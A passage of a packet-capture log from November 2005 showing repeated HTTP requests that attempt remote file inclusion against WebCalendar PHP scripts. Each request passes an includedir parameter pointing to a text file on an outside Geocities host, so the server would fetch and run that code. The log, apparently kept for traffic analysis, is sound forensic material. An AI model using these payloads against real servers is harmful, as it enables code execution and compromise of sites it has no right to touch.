0120  6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a   ndows 98)..Host:
0130  20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a    xxx.87.152.38..
0140  43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73   Connection: Clos
0150  65 0d 0a 0d 0a                                    e....

No.     Time                       Source                Destination           Protocol Info
  11137 2005-11-27 12:13:17.960485 xxx.203.134.100        xxx.87.152.38         HTTP     GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11137 (338 bytes on wire, 338 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53925 (53925), Dst Port: http (80), Seq: 1, Ack: 1, Len: 272
Hypertext Transfer Protocol
    GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 44 37 ad 40 00 30 06 e6 59 41 cb 86 64 cb 57   .D7.@.0..YA..d.W
0020  98 26 d2 a5 00 50 38 73 98 ed 9b d7 9d 66 80 18   .&...P8s.....f..
0030  16 d0 d8 c9 00 00 01 01 08 0a df 5b af df 00 00   ...........[....
0040  00 00 47 45 54 20 2f 63 61 6c 65 6e 64 61 72 2f   ..GET /calendar/
0050  74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 6d 69 6e   tools/send_remin
0060  64 65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65   ders.php?include
0070  64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67   dir=http://www.g
0080  65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75   eocities.com/tru
0090  73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54   stopt/t.txt? HTT
00a0  50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a   P/1.1..Accept: *
00b0  2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75   /*..Accept-Langu
00c0  61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65   age: en-us..Acce
00d0  70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69   pt-Encoding: gzi
00e0  70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72   p, deflate..User
00f0  2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f   -Agent: Mozilla/
0100  34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b   4.0 (compatible;
0110  20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f    MSIE 6.0; Windo
0120  77 73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30   ws 98)..Host: 20
0130  33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e   3.87.152.38..Con
0140  6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a   nection: Close..
0150  0d 0a                                             ..

No.     Time                       Source                Destination           Protocol Info
  11151 2005-11-27 12:13:18.470024 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11151 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 82 40 00 30 06 d3 85 41 cb 86 64 cb 57   .CJ.@.0...A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 18   .&...P8......#..
0030  16 d0 a4 6b 00 00 01 01 08 0a df 5b b1 05 00 00   ...k.......[....
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11152 2005-11-27 12:13:19.320890 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11152 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 83 40 00 30 06 d3 84 41 cb 86 64 cb 57   .CJ.@.0...A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 18   .&...P8......#..
0030  16 d0 a2 b5 00 00 01 01 08 0a df 5b b2 bb 00 00   ...........[....
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11154 2005-11-27 12:13:19.711886 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11154 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 84 40 00 30 06 d3 83 41 cb 86 64 cb 57   .CJ.@.0...A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 18   .&...P8......#..
0030  16 d0 9f 49 00 00 01 01 08 0a df 5b b6 27 00 00   ...I.......[.'..
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11159 2005-11-27 12:13:20.883468 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11159 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 86 40 00 30 06 d3 81 41 cb 86 64 cb 57   .CJ.@.0...A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 19   .&...P8......#..
0030  16 d0 98 70 00 00 01 01 08 0a df 5b bc ff 00 00   ...p.......[....
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11167 2005-11-27 12:13:28.350429 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11167 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 87 40 00 30 06 d3 80 41 cb 86 64 cb 57   .CJ.@.0...A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 19   .&...P8......#..
0030  16 d0 8a c0 00 00 01 01 08 0a df 5b ca af 00 00   ...........[....
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11177 2005-11-27 12:13:42.617444 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11177 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 88 40 00 30 06 d3 7f 41 cb 86 64 cb 57   .CJ.@.0...A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 19   .&...P8......#..
0030  16 d0 6f 60 00 00 01 01 08 0a df 5b e6 0f 00 00   ..o`.......[....
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11196 2005-11-27 12:13:58.577754 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11196 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 89 40 00 30 06 d3 7e 41 cb 86 64 cb 57   .CJ.@.0..~A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 19   .&...P8......#..
0030  16 d0 38 a0 00 00 01 01 08 0a df 5c 1c cf 00 00   ..8........\....
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
00f0  41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34   Agent: Mozilla/4
0100  2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20   .0 (compatible; 
0110  4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77   MSIE 6.0; Window
0120  73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 33   s 98)..Host: 203
0130  2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 6e   .87.152.38..Conn
0140  65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d   ection: Close...
0150  0a                                                .

No.     Time                       Source                Destination           Protocol Info
  11247 2005-11-27 12:14:30.785067 xxx.203.134.100        xxx.87.152.38         HTTP     GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11247 (337 bytes on wire, 337 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53975 (53975), Dst Port: http (80), Seq: 1, Ack: 1, Len: 271
Hypertext Transfer Protocol
    GET /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
        Request Method: GET
        Request URI: /webcalendar/ws/get_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
    Host: xxx.87.152.38\r\n
    Connection: Close\r\n
    \r\n

0000  00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00   ..).[i..H..V..E.
0010  01 43 4a 8a 40 00 30 06 d3 7d 41 cb 86 64 cb 57   .CJ.@.0..}A..d.W
0020  98 26 d2 d7 00 50 38 0b fa f4 9b da 8a 23 80 19   .&...P8......#..
0030  16 d0 cb 1f 00 00 01 01 08 0a df 5c 8a 4f 00 00   ...........\.O..
0040  00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64   ..GET /webcalend
0050  61 72 2f 77 73 2f 67 65 74 5f 72 65 6d 69 6e 64   ar/ws/get_remind
0060  65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 64   ers.php?included
0070  69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 65   ir=http://www.ge
0080  6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 73   ocities.com/trus
0090  74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 50   topt/t.txt? HTTP
00a0  2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f   /1.1..Accept: */
00b0  2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61   *..Accept-Langua
00c0  67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 70   ge: en-us..Accep
00d0  74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70   t-Encoding: gzip
00e0  2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d   , deflate..User-
